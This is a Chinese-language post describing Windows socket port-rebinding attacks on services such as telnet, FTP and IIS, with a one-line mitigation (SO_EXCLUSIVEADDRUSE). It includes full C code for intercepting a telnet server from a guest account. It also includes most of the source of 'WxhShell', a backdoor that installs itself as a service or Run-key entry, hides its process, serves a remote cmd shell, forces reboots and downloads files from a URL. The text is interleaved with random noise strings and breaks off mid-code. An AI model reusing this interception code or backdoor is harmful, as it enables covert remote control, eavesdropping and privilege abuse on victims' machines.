在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
IAYR+c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
t\NqR !+1<E*NQ S saddr.sin_family = AF_INET;
W{%TlN KB%"bqB| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H18Tn!RDS ZYI{i?Te# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)0ea+ib H$@`,{M629 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[<- ,a gc 这意味着什么?意味着可以进行如下的攻击:
0ZBJ~W ko Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
E}Y!O"CAV CsTF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
WX=Jl< "5-^l.CKH 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XM1WfjE\ /<HRwG\w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+s,Qmmb7) "$N#p5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'qjeXqGH$ h!&prYx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]F; f`o 1abtgDL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T?
tG~ Db)?i?o}t #include
0/!dUWdKH #include
b
/@#}Gc #include
<1FC%f/ #include
)#.<]&P } DWORD WINAPI ClientThread(LPVOID lpParam);
MO&}r7qq int main()
@c<3b2 {
BlXB7q, WORD wVersionRequested;
Fe]B&n DWORD ret;
C!Rs^/ WSADATA wsaData;
MKy[hT: BOOL val;
)^4\,u\@ SOCKADDR_IN saddr;
?\$#L^;b} SOCKADDR_IN scaddr;
{.QEc0- int err;
$4tWI O SOCKET s;
kB'Fkqwm SOCKET sc;
sYjpU int caddsize;
f2^r[kPX" HANDLE mt;
W0epAGrB DWORD tid;
2'_:S@ wVersionRequested = MAKEWORD( 2, 2 );
VwOW=4`6 err = WSAStartup( wVersionRequested, &wsaData );
3=Cc.a/3 if ( err != 0 ) {
GFel(cx:K printf("error!WSAStartup failed!\n");
G`\f return -1;
`FYv3w2 }
/o[?D saddr.sin_family = AF_INET;
]@uE#a:[ NR -!VJQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7N:Y?Hi\ Q\cjPc0y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
FI3)i>CnW saddr.sin_port = htons(23);
7b<je=G6PA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\
C+(~9@| {
c0hwc1kv- printf("error!socket failed!\n");
_io+YzS return -1;
qEpi] =| }
&_"]5/"( val = TRUE;
jBU4F~1y //SO_REUSEADDR选项就是可以实现端口重绑定的
SE),":aY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)('%R|$ / {
T}"6wywM printf("error!setsockopt failed!\n");
D3)zk@N return -1;
UN zlN }
Q($Z%1S //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
DwrO JIy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{K9/HqH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
r8,romE$ ( YQWbOk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ik!..9aB {
|\U5),m ret=GetLastError();
ox%9Ph printf("error!bind failed!\n");
D<Zp!J1o return -1;
ppFe-wY }
|i ZfYi&^ listen(s,2);
`&-Mi[1 while(1)
jLpc
Zb, {
NcP.;u;` caddsize = sizeof(scaddr);
LrATSq@ //接受连接请求
L~ IhsiB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
KyzFnVH3) if(sc!=INVALID_SOCKET)
m+#iR}*1L {
.N*Pl(<[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,:`ND28V7 if(mt==NULL)
)=-0M9e.{ {
:"l-KQ0 printf("Thread Creat Failed!\n");
fgBM_c&9T break;
59#lU~Kv }
]ix!tb.Q }
Bf$_XG3
CloseHandle(mt);
<D::9c j }
0
s70r closesocket(s);
hAm`NJMSO WSACleanup();
P0$e~=Q^4 return 0;
fPrLM' }
)x]3Zq DWORD WINAPI ClientThread(LPVOID lpParam)
?_ dIIQ {
aDehqP6vf SOCKET ss = (SOCKET)lpParam;
EZYBeqv SOCKET sc;
:Dd$i_3= unsigned char buf[4096];
2CzaL,je[ SOCKADDR_IN saddr;
.cR
-V`
long num;
06Gt&_Q DWORD val;
YG8>czC DWORD ret;
e5OsIVtjr //如果是隐藏端口应用的话,可以在此处加一些判断
Vp<seO;7o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4&HXkRs: saddr.sin_family = AF_INET;
Q//,4>JKf saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&
u!\<\ saddr.sin_port = htons(23);
$z$u{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7Su#Je] {
A"aV'~> printf("error!socket failed!\n");
Iu{kPyx return -1;
F|&{Rt }
T2D<UhP val = 100;
k64."*X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8k^|G {
S=xA[%5 ret = GetLastError();
C_ \q?> return -1;
$46{<4. }
X{^}\,cVtG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
siTX_`0 {
||zb6|7I4 ret = GetLastError();
;r/;m\V return -1;
tV9LD>3 }
)9S>ZZF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`y+-H|%? {
O8]'o*<] printf("error!socket connect failed!\n");
!;Jmg closesocket(sc);
HAYMX:% closesocket(ss);
YUf1N?z return -1;
2qi'g:qe }
{T'GQz+R" while(1)
;Efcw[< {
j,d*?'X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5[{*{^F4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
7n o5b]
\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"C?5f]T num = recv(ss,buf,4096,0);
za'6Y*CGgX if(num>0)
kGkA:g: send(sc,buf,num,0);
ICB~_O5 else if(num==0)
)s9',4$eK< break;
Ro=AADv@ num = recv(sc,buf,4096,0);
UwY-7Mmo if(num>0)
qi^!GA'5j send(ss,buf,num,0);
OquAql: else if(num==0)
!'=15&5@ break;
$3X-rjQtW }
.bD_R7Bi6 closesocket(ss);
g`k?AM\ closesocket(sc);
t!1$$e?`r return 0 ;
xw<OLWW }
7{oe ->r `N/RHb% A\Txb_x ==========================================================
+]:2\TTGI 6
fz} 下边附上一个代码,,WXhSHELL
0(8H;T 'j%F]CK ==========================================================
_U|7'^ | rC[6lIP #include "stdafx.h"
9^F2$+T[: >cL{Ya}Rz #include <stdio.h>
]>i~6!@ #include <string.h>
MVCl.o #include <windows.h>
*oI*-C #include <winsock2.h>
nL]^$J$ #include <winsvc.h>
}iBC@`mg( #include <urlmon.h>
qu6DQ@
~YC tGcya0RL #pragma comment (lib, "Ws2_32.lib")
*B)yy[8j+ #pragma comment (lib, "urlmon.lib")
[LM^),J? VY 1vXM3y #define MAX_USER 100 // 最大客户端连接数
^ons:$0h #define BUF_SOCK 200 // sock buffer
&B{8uge1 #define KEY_BUFF 255 // 输入 buffer
Ja^ 5?Ar| *j)M] #define REBOOT 0 // 重启
|I[7,`C~ #define SHUTDOWN 1 // 关机
q W^vz pF=g||gS #define DEF_PORT 5000 // 监听端口
X}4}& `kN#4p #define REG_LEN 16 // 注册表键长度
\Mx
JH[ #define SVC_LEN 80 // NT服务名长度
BZ+-p5]- U!q[e`B // 从dll定义API
!#D=w$@r: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5a8>g
[2U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P]<= ! F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9 |:^k. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@O3/3vi1 ,qFA\cO* // wxhshell配置信息
p_terD: struct WSCFG {
Db03Nk># int ws_port; // 监听端口
=LH}YUmd char ws_passstr[REG_LEN]; // 口令
?p8Qx\%* int ws_autoins; // 安装标记, 1=yes 0=no
*crw^e char ws_regname[REG_LEN]; // 注册表键名
)q?$p9 char ws_svcname[REG_LEN]; // 服务名
,=w!vO5s char ws_svcdisp[SVC_LEN]; // 服务显示名
nTnRGf\T char ws_svcdesc[SVC_LEN]; // 服务描述信息
}B!cv{{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=d20Xa int ws_downexe; // 下载执行标记, 1=yes 0=no
mb\t/p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
s^C;> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4Z%Y"PL(K ;( KMGir };
j]> uZalr #Q6w+" // default Wxhshell configuration
6mG3fMih. struct WSCFG wscfg={DEF_PORT,
V,4.$<e "xuhuanlingzhe",
;~tsF.= 1,
7!d$M{0" "Wxhshell",
u(vw|nj` "Wxhshell",
gL]'B!dGd "WxhShell Service",
D9,!
%7i "Wrsky Windows CmdShell Service",
Va9q`XbyO "Please Input Your Password: ",
$pu3Ig$^ 1,
R7aXR\ R "
http://www.wrsky.com/wxhshell.exe",
!k h{9I>M "Wxhshell.exe"
rF8
hr };
~/c5hyTx bXl8v // 消息定义模块
NWISS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
UH40~LxIma char *msg_ws_prompt="\n\r? for help\n\r#>";
o>u!CL< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m3?e]nL4W char *msg_ws_ext="\n\rExit.";
M.k|bh8 char *msg_ws_end="\n\rQuit.";
SI_?~Pf3k char *msg_ws_boot="\n\rReboot...";
v72,h char *msg_ws_poff="\n\rShutdown...";
)k%M.{&bji char *msg_ws_down="\n\rSave to ";
z6Z='=pT 3/tJDb5 char *msg_ws_err="\n\rErr!";
GN%<"I. char *msg_ws_ok="\n\rOK!";
W?PWJkIw (HSw%e char ExeFile[MAX_PATH];
LhKY}R int nUser = 0;
51/sTx<Z} HANDLE handles[MAX_USER];
}bgo )<i int OsIsNt;
'?k' 6R$'\ >nNl^ yqW SERVICE_STATUS serviceStatus;
|KaR
n;BM SERVICE_STATUS_HANDLE hServiceStatusHandle;
65"uD7; }z{wQ\ // 函数声明
+/Z0 int Install(void);
W^|J/Y48 int Uninstall(void);
yjv&4pIc1 int DownloadFile(char *sURL, SOCKET wsh);
H
oS|f0 int Boot(int flag);
4]u,x`6C void HideProc(void);
eEie?#Z/6 int GetOsVer(void);
KT%{G8Y@M int Wxhshell(SOCKET wsl);
.r*#OUC void TalkWithClient(void *cs);
.J:;_4x int CmdShell(SOCKET sock);
u!u5g.Q int StartFromService(void);
+yIL[D int StartWxhshell(LPSTR lpCmdLine);
T8mY#^sW_ @dl<- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s/PhXf\MN VOID WINAPI NTServiceHandler( DWORD fdwControl );
BWohMT u:eW0Ows" // 数据结构和表定义
,-!2 5G SERVICE_TABLE_ENTRY DispatchTable[] =
k)Zn> {
h/{8bC@bi {wscfg.ws_svcname, NTServiceMain},
"bi != {NULL, NULL}
fxOE]d8v };
M.t@@wq M(NH9EE // 自我安装
KDX$.$# int Install(void)
-2z,cj&E{ {
%/X2 l char svExeFile[MAX_PATH];
oN4G1U
Kc HKEY key;
VZIKjrKs strcpy(svExeFile,ExeFile);
=}"R5 q1P :^<[ // 如果是win9x系统,修改注册表设为自启动
{DSyV: if(!OsIsNt) {
l-Fmn/V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XS3{R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Hl!1h% RegCloseKey(key);
s5nB(L*Pjp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#*+;B93) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.$UTH@;7 RegCloseKey(key);
x{~_/;\p3 return 0;
E}Ljo }
g&q^.7c} }
\I:UC
% }
oO8]lHS?@ else {
nhp)yW {a[Uv // 如果是NT以上系统,安装为系统服务
B%) zGTp6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k:`a+LiZ if (schSCManager!=0)
B*32D8t`u {
#&}%70R) SC_HANDLE schService = CreateService
[2 =^C=52 (
8TUF w@H% schSCManager,
vY4WQbz( wscfg.ws_svcname,
$ #TID= wscfg.ws_svcdisp,
-6(h@F%E SERVICE_ALL_ACCESS,
r$94J'_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*X%?3"WH8 SERVICE_AUTO_START,
mi*:S%;h SERVICE_ERROR_NORMAL,
GOUY_&}tL svExeFile,
Tw?Pp8' NULL,
5T7_[{ NULL,
Dm&lSWW`/ NULL,
t)YFTO"Jj NULL,
Ar\IZ_Q NULL
B9%yd*SJ );
I:r($m if (schService!=0)
<{3q{VW* {
Iz 1*4@ CloseServiceHandle(schService);
]|H]9mys98 CloseServiceHandle(schSCManager);
u]ZqF * strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;4+qPWwq8W strcat(svExeFile,wscfg.ws_svcname);
---Ks0\V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"Nk`RsW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
B7NmET4 RegCloseKey(key);
%:yHMEG]' return 0;
=e"H1^Ml }
K *
xM[vO }
3Yn:fsy CloseServiceHandle(schSCManager);
:
OSmr }
\9&YV;Ct }
3 C E 39W l4R<`b\Jt return 1;
@vVRF
Z }
NgDZ4&L [wXwKr // 自我卸载
f(@"[-[ int Uninstall(void)
t-?KKU8 {
p*(U*8Q HKEY key;
N]O{T_5-0 r7]?g~zb if(!OsIsNt) {
vTe$77n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mmpr]cT@'k RegDeleteValue(key,wscfg.ws_regname);
s$2l"|h>B RegCloseKey(key);
ai<MsQQ:= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&deZ RegDeleteValue(key,wscfg.ws_regname);
V'f&JQA RegCloseKey(key);
O>tC]sm% return 0;
O?4vC5x }
hPEp0(" }
Sm*Jysy` }
$9
&Q.Kpq> else {
N4Fy8qU; c"QkE* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
D:RBq\8 if (schSCManager!=0)
lN][xnP {
!?us[f=g% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%Mb(
c+7 if (schService!=0)
D~i@. k {
mV!
@oNCK if(DeleteService(schService)!=0) {
+UpMMh q CloseServiceHandle(schService);
:DJ7d CloseServiceHandle(schSCManager);
GP7)m return 0;
Ndug9j\2 }
_L `N^I. CloseServiceHandle(schService);
P(YG@ }
]L%R[Z!3 CloseServiceHandle(schSCManager);
q|]0on~] }
;ow~vO,x }
y}:)cA~o(y >b!X&JU return 1;
+~i+k~{`H }
9Qs"X7iH /i~^LITH // 从指定url下载文件
*3etxnQc int DownloadFile(char *sURL, SOCKET wsh)
|au qj2 {
h<^:Nn HRESULT hr;
u6S0t?Udap char seps[]= "/";
/Vm}+"BCS char *token;
e
ka@?` char *file;
"aCb;2Rs char myURL[MAX_PATH];
w#G=Z_Tt char myFILE[MAX_PATH];
(HrkUkw Vw;ldEdx strcpy(myURL,sURL);
b#I*~ token=strtok(myURL,seps);
}fZ=T4r while(token!=NULL)
&fd4IO/O {
g<T`F file=token;
.dKRIFo token=strtok(NULL,seps);
j_a~)o-p }
*A1TDc$ 3Llj_lf GetCurrentDirectory(MAX_PATH,myFILE);
M}oFn}-T9a strcat(myFILE, "\\");
9X{nJ" strcat(myFILE, file);
4wj| send(wsh,myFILE,strlen(myFILE),0);
0iZ9a/v send(wsh,"...",3,0);
F)5B[.ce hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>5@vY?QXO if(hr==S_OK)
BQ}.+T\ return 0;
Y\z\{JW else
.iN*V|n return 1;
jme5'FR -^jLU
FC }
h. (;GJO vB YT)S // 系统电源模块
C.B}Py+
int Boot(int flag)
c'#J{3d {
73z|'0. HANDLE hToken;
qD%&\ZT TOKEN_PRIVILEGES tkp;
|UDD/e :0j`yo:w if(OsIsNt) {
)>M@hIV5> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
rUpAiZfz > LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?M-8Fp3 + tkp.PrivilegeCount = 1;
pdha"EV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
07"Oj9NlA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>\.[}th} if(flag==REBOOT) {
{ZM2WFpE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!@Vp Bl return 0;
lvJ{=~u }
Ww
tQ>'R" else {
@gjdyz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZUJOBjb`
K return 0;
2T%f~yQ^ }
bl>b/u7/6 }
kBT}Siw else {
1HWJxV" if(flag==REBOOT) {
ZpctsCz] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J+NK+,_*M return 0;
\J:T] }
)9 jQ_ else {
XK-x*| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hsO.521g return 0;
|B$\3, }
dTQvz9 C }
_1c_TM h}9 Rs[]i; return 1;
g2<S4 }
9ufs6z jF_I4H // win9x进程隐藏模块
y]4`d void HideProc(void)
j:KQIwc {
* .VZ(wX (b}7Yb]#c HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Bic {
H if ( hKernel != NULL )
N`6|Y {
xF|*N<9(</ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ymX,k|lh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
T@Z{KV"S FreeLibrary(hKernel);
J4 #]8!A }
}c5`~ LLK :]QxT8B return;
iZ\z!tH R }
ZUW>{'[K NYvj?>[y // 获取操作系统版本
1u+(rVQN int GetOsVer(void)
Kp8T;&<Iay {
fEv36xb2S OSVERSIONINFO winfo;
z5vI0 N$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bR,Iq}p GetVersionEx(&winfo);
ZhaOH5{9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
PzDgl6C return 1;
~'=4K/39 else
lIP<`6=4 return 0;
Fsj[J E }
F
&}V65 j pv,0( // 客户端句柄模块
k"{U}Y/} int Wxhshell(SOCKET wsl)
$u"$mg7x {
]bweQw@i SOCKET wsh;
7*"LW struct sockaddr_in client;
e*s{/a?, DWORD myID;
g>zL{[e! 'v
X"l while(nUser<MAX_USER)
,$-PC=Ti( {
q8>Q,F`BA int nSize=sizeof(client);
\]%U?`A wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q~_x%KN/` if(wsh==INVALID_SOCKET) return 1;
<=M }[ _AYF'o-Cm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
M7 !"
t if(handles[nUser]==0)
p#2th`M:P1 closesocket(wsh);
P7-3Vf_L else
e,8-P-h~T nUser++;
KL4/"$l] }
kM`#U
*j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
aa/9o] *cI Xae^Y7 return 0;
e.V){}{V }
qE{S'XyM, SZvsJ) // 关闭 socket
mX^RSg9 E} void CloseIt(SOCKET wsh)
{IWb:p#I] {
?f..N,s closesocket(wsh);
za7wNe(s nUser--;
h6/Z_Y ExitThread(0);
LKcrr; }
cDg27xOUi ny=iAZM>q // 客户端请求句柄
)A%Y
wI$ void TalkWithClient(void *cs)
'Iu(lpF& {
X;h~s:LM
WM26-nR SOCKET wsh=(SOCKET)cs;
v0=~PN~E char pwd[SVC_LEN];
UlrY char cmd[KEY_BUFF];
M &J*I char chr[1];
DxHeZQ"LL int i,j;
JK4 @ ?3#X5WT while (nUser < MAX_USER) {
bxs@_fH K4BMa]/U if(wscfg.ws_passstr) {
GF&"nW9A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]7;;uhn` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T[~X~dqwn" //ZeroMemory(pwd,KEY_BUFF);
3$Je,|bs i=0;
\B)<<[ $ while(i<SVC_LEN) {
#7{a~-S +dfSCs // 设置超时
\XC1/LZQ fd_set FdRead;
6%TV X struct timeval TimeOut;
'PZJ{8= FD_ZERO(&FdRead);
":OXs9Yg FD_SET(wsh,&FdRead);
=B 9U TimeOut.tv_sec=8;
2sngi@\ TimeOut.tv_usec=0;
y03l_E, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l}JVRU{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
c}A^0,"z> eX\t]{\oC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%llG/]q# pwd
=chr[0]; ~1p
f ?
if(chr[0]==0xd || chr[0]==0xa) { {PZe!EQ
pwd=0; >|<6s],v
break; 79\
=)m}$Q
} [30e>bSf`
i++; ][3 "xP
} rVLA"x 9u
'2NeuK -KD
// 如果是非法用户,关闭 socket CXa$QSu >
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 46b.= }
} bkb}M)C
fYwumx`J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LTxOq|/Cq
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ v-sb(*
J
FkH4|}1
while(1) { ,W.O*vCA
yY}`G-)g~*
ZeroMemory(cmd,KEY_BUFF); Q,scjt[
H=0Y4 T@)T
// 自动支持客户端 telnet标准 17-K~ybc
j=0; N7|ctO
while(j<KEY_BUFF) { ST{<G
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )pg?Z M9
cmd[j]=chr[0]; f+rBIE
if(chr[0]==0xa || chr[0]==0xd) { a}6Wo=
cmd[j]=0; [xHK^JP 8F
break; ur;8uv2o
} VP[ J#TPU
j++; W)\~T :Kn
} 905
/4z'
;:v:pg8qc
// 下载文件 J
9z\ qTI
if(strstr(cmd,"http://")) { Y#KgaZ7N
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )H)HR`
if(DownloadFile(cmd,wsh)) Kpg]b"9.R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'En 6h" {
else zI&oZH^vn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )8yNqnD
} -e30! A
else { XJ.vj+XXb
fxjs"rD5
switch(cmd[0]) { yKi* 8N"e<
KATt9ox@
// 帮助 DvU(rr\p
case '?': { :hZYh.y\l
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I
U/gYFT
break; sk9*3d5I
}
'RXhE
// 安装 JW
(.,Ztm
case 'i': { P/4]x@{ih
if(Install()) IF<pT)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SO9j/
else tv5G']vO\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h>9GfF3
break; }! x\qpA
} (]1n!
// 卸载 kU0e;r1 N
case 'r': { fM6Pw6k
if(Uninstall()) -b8Vz}Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1t%J7c_
else voEg[Gg4%I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9ELLJ@oNC
break; vdV@G`)HPr
} %N04k8z
// 显示 wxhshell 所在路径 |\Nu+w
case 'p': { x[zt(kC0+
char svExeFile[MAX_PATH]; x=(Q$Hl5
strcpy(svExeFile,"\n\r"); `{#0C-
strcat(svExeFile,ExeFile); B|zJrz0q3
send(wsh,svExeFile,strlen(svExeFile),0); qS:hv&~
break; \9N1:
} v'mRch)d
// 重启 %We~k'2f
case 'b': { :XqqhG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {26/SY
if(Boot(REBOOT)) n=qN@u;Fi#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]3nka$wA*
else { G(" S6u
closesocket(wsh); tJ;<=.n
ExitThread(0); xM"k qRZ
} DryN}EMOKD
break; ssj(-\5
} %5Q5xw]w3
// 关机 4>x]v!d
case 'd': { {}RE;5n\['
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QQ;<L"VW
if(Boot(SHUTDOWN)) X: PB
}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LX;w~fRr.
else { dNK Q&TC
closesocket(wsh); : .Y
ExitThread(0); <+o*"z\mI
} >U.
break; q% *-4GP
} $De1 4
// 获取shell ,41Z_h
case 's': { P5-1z&9O
CmdShell(wsh); %c:v70*h=
closesocket(wsh); nIc:<w]
ExitThread(0); 3h N?l
:/b
break; {<$ D|<S
} g2)jd[GM
// 退出 3>vSKh1z
case 'x': { #x|xL7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Rl^7h<!
CloseIt(wsh); *XN|ZGl/
break; [&H$Su}$0
} w(/#isC
// 离开 ^<u9I5?
case 'q': { $U. >]i
send(wsh,msg_ws_end,strlen(msg_ws_end),0); d6RO2^
closesocket(wsh); 4sJM!9eb[
WSACleanup(); <=O/_Iu(
exit(1); (p6$Vgdt
break; R;yi58Be
} `wGP31Y.
} -O&u;kh4g
} o4Ny9s
TTGk"2
Q'
// 提示信息 v$n J$M&k
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gz09#nFZk
} q!fdiv`
} {Tr5M o
nf%"7 y{dd
return; BIJlU(aF
} %KjvV<f-a
xJcM1>cT>
// shell模块句柄 N"',
int CmdShell(SOCKET sock) fS@V`"O6
{ 85{2TXQ^%=
STARTUPINFO si; fCMFPhF
ZeroMemory(&si,sizeof(si)); @Yzdq\FI
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _0GM!Cny
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E:7R>.g
PROCESS_INFORMATION ProcessInfo; ,V`zW<8
char cmdline[]="cmd"; r0Cc0TMdj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = n>aJ(=Pd
return 0; a ](Jc)
} :Qc[>:N
v,eTDgw
// 自身启动模式 Q$`u=-h|
int StartFromService(void) \c1NIuJR
{ AiDV4lHr
typedef struct @nNhW
{ |Q|vCWel{
DWORD ExitStatus; ;:`0:Ao.
DWORD PebBaseAddress; Lh_Q@>k
DWORD AffinityMask; ?7eD<|
DWORD BasePriority; ;$FpxurX
